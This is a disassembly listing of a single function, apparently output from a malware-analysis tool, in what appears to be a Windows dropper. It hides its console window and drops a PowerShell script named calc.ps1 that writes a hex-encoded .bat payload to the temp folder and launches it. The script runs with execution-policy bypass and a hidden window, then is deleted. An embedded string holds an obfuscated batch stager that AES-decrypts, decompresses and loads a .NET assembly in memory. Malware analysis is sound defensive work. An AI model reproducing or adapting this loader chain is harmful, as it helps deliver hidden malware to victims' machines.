Function at 0x1d65f15c9
Capabilities:
Delete file
Execute command
Hide graphical window

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1d65f2140
mov ecx, 0x36990
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_n____cls_r_nset__DWGeLo__r_nset__QVUYnvo__r_nset__oZAilect__r_nset__OgKobyp__r_nset__BFZXprof__r_nset__BfUyocnzmjCrRexKYUWAecho_cls_function_de__r_nset__zFPUFdJkRQQFLARychQOcrypt_function__para__r_nset__IvMexiqKJZqHIzyWpZTlm_var__t_aes_var_Sy__r_nset__scIvsWFrnZIQeiReTKxwstem.Security.Crypto__r_nset__MZBRzjXmcUidoEvGMqMBgraphy.Aes_::Create___r_nset__DZwJrADAHtcEBxysBQWj___t_aes_var.Mode_Sy__r_nset__ZtosQFBzMlrCYWTNDSAZstem.Security.Crypto__r_nset__FwFIREBRgdfWuDCjKdSLgraphy.CipherMode_::__r_nset__YeNvbAFFDKOJpWDCNGAmCBC__t_aes_var.Paddin__r_nset__eKsJgvivuJcAZOaAIjHrg_System.Security.C__r_nset__YVnvowHxZZweCGHoMeoGryptography.PaddingM__r_nset__rklUIoJAWdTDYjniwWvKode_::PKCS7__t_aes_va__r_nset__OKwunXXsgLOEVbaOKtNZr.Key_System.Conver__r_nset__MgBWgSgttzSPJESGORGKt_::FromBase64String__r_nset__qrukopIXjyxcjvYHjAnv_wEaJbk4LcLwgplBC8J__r_nset__REZHTYUqitaTMcIvMqHRroHE1zkRsORh1xHpQboA__r_nset__jijUbPGnFkwnDlTMrNrp2ITF0___t_aes_var.I__r_nset__urOQyEqgNDVTSwlIueFdV_System.Convert_::__r_nset__sGKYWMqAjWdZYsxRutwxFromBase64String_Rj__r_nset__zzAcoDvgakrnhnXNHQTLC3odp8H7LFvE4zcP9DUQ__r_nset__oPXQzWUAZuoaHiESgIJt___t_decryptor_var__r_nset__qjAYEQRLuJkEALiJCJDs_aes_var.CreateDecr__r_nset__IVhGVrFZJeHYgAufpYmJyptor____t_return_var__r_nset__fjfpjKAWZUqweqLvbUdn_decryptor_var.Tran__r_nset__lRbqclxaqduDxTnyPSwlsformFinalBlock__par__r_nset__QIaONlTPPYeuVZynhPmXam_var__0___param_va__r_nset__mAFVAMYkdmGixRwCRnCRr.Length___t_decrypto__r_nset__rIksZZIxvZqaGyYqceobr_var.Dispose____t_ae__r_nset__mILCsVXdDVwUmvGEpnWAs_var.Dispose____t_re__r_nset__eAPdWFCZTfzMZBEIWIZdturn_var_function_d__r_nset__cEUzDvNkStbPhNWLTHGMecompress_function____r_nset__tXkxwJVLQXIGoTyzFpAAparam_var__t_bnxDgN__r_nset__SrgzeKFlESOobmKeuxdTew_Object_System.IO.__r_nset__AbtULuAooxgEhgUbRLtMMemoryStream___param__r_nset__eJhYiuFbjtfimGZQYmNJ_var___t_OvHdoNew_Ob__r_nset__jqWgMkgVsInIeqPQUvMqject_System.IO.Memor__r_nset__PzfVsXrAgedEXJDNMalYyStream__t_kztlmNew___r_nset__nKJAgweWRjVCzxUJlbOPObject_System.IO.Com__r_nset__SGOnFIKuMcdUjOcfPFOVpression.GZipStream___r_nset__SvIXiAeAPTBKlwfHVvUx_bnxDg___IO.Compress__r_nset__MKjPfbsLuPTGnTWwXRfeion.CompressionMode___r_nset__DjETAtINIvjuKrjimTRg::Decompress___t_kztl__r_nset__htgaZUxsAIJeqPTCfqoMm.CopyTo__OvHdo___t_k__r_nset__tFdYFzWWKNkdZYXkdETFztlm.Dispose____t_bnx__r_nset__VqnaLfeUxGdWFfNCphuADg.Dispose____t_OvHdo__r_nset__YBHMyGerSJzAwIRdrdnA.Dispose____t_OvHdo.T__r_nset__vbydKnyUkuUVktHtIABfoArray___function_e__r_nset__bMcNhDAWoKlmUUeXcEckxecute_function__par__r_nset__ikhyODpcbxuQBizIZLVham_var__param2_var___r_nset__NBGAjIaqoJqeyrXQFDZE_t_vFDPe_System.Refl__r_nset__nxVQquLMvwXrIVwGDHpgection.Assembly_::_DWGe___r_nset__DZOrgprjlIdvLrTqGPjOad__byte____param_va__r_nset__WoVSMZvDUqnYoTanJDKar___t_AGOHi_vFDPe.En__r_nset__cBBMsBGrbgaOxAjpeVFhtryPoint__t_AGOHi.Inv__r_nset__UOoUvfhSqGHcfjMvMiAkoke__null___param2_v__r_nset__teCOpyAOJLjNYDgomGrnar___vncQx___f0__r_nset__uNavzYJnOOCVvuOPlAEW__host.UI.RawUI.Wind__r_nset__EtiFwTeCdyigQnPFehprowTitle___vncQx__tq__r_nset__PnZVjosDOqcMbvIbFvYFXSc_System.IO.File___r_nset__ThkpFweiFjLekmgrtmwh::ReadAllText__vncQx__r_nset__BANMvwevEOZJiJxIdKqM_.Split__Environment__r_nset__jjYFFYBOprIsZRettxTj_::NewLine__foreach___r_nset__rJDRjcVAOxnJWJYrChgx__CiwSh_in__tqXSc____r_nset__UpgnfGJrFeoFQhuzFgwD_tif___CiwSh.StartsWi__r_nset__caZRdZwqSMQmqvocDqLCth_yBkIGMCvSHSQVXKW__r_nset__sDVKjISPoyLvLDvUpojgTBRJ___t_t_t_Crjgq_C__r_nset__jtyTncouSsWouTlyfpIviwSh.Substring_20___t__r_nset__gHbuavBNauNohFsYfcxg_tbreak__t_payloads___r_nset__tyWWCwaRrXOaGOZCseSSvar_string____Crjgq__r_nset__BBuxFHhPAntdSBbILfRD.Split____payload__r_nset__uJwdFNHsFQGajEFSeyrU1_vardecompress_fun__r_nset
mov edx, 0x36990
mov r8, rdx
mov rdx, rax
call sym.memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::basic_stringstream__
mov dword [rbp + 0x39c], 0
jmp 0x1d65f16c3
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call sym.std::ostream::operator___std::ios_base____std::ios_base__
mov rbx, rax
mov ecx, 2
call method.std.setw_int_
mov edx, eax
mov rcx, rbx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov rbx, rax
mov ecx, 0x30
call method.std::_Setfill_char__std.setfill_char__char_
mov edx, eax
mov rcx, rbx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call sym.std::ostream::operator___int_
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x3698f
jle 0x1d65f1651
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___::str___const
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1d662ca1d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x1d65f1856
mov ecx, 0x20
call sym.__cxa_allocate_exception
mov rbx, rax
call sym.std::_V2::generic_category__
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call method.std::system_error.system_error_int__std::_V2::error_category_const__char_const_
mov r8, qword [0x1d662ce00]
lea rax, sym.imp.libstdc_6.dll_operator_delete___void_
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sym.system
lea rax, str.calc.ps1
mov rcx, rax
call sym.remove
cmp qword [rbp + 0x390], 0
je 0x1d65f18ac
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d65f2118
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1d65f1979
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret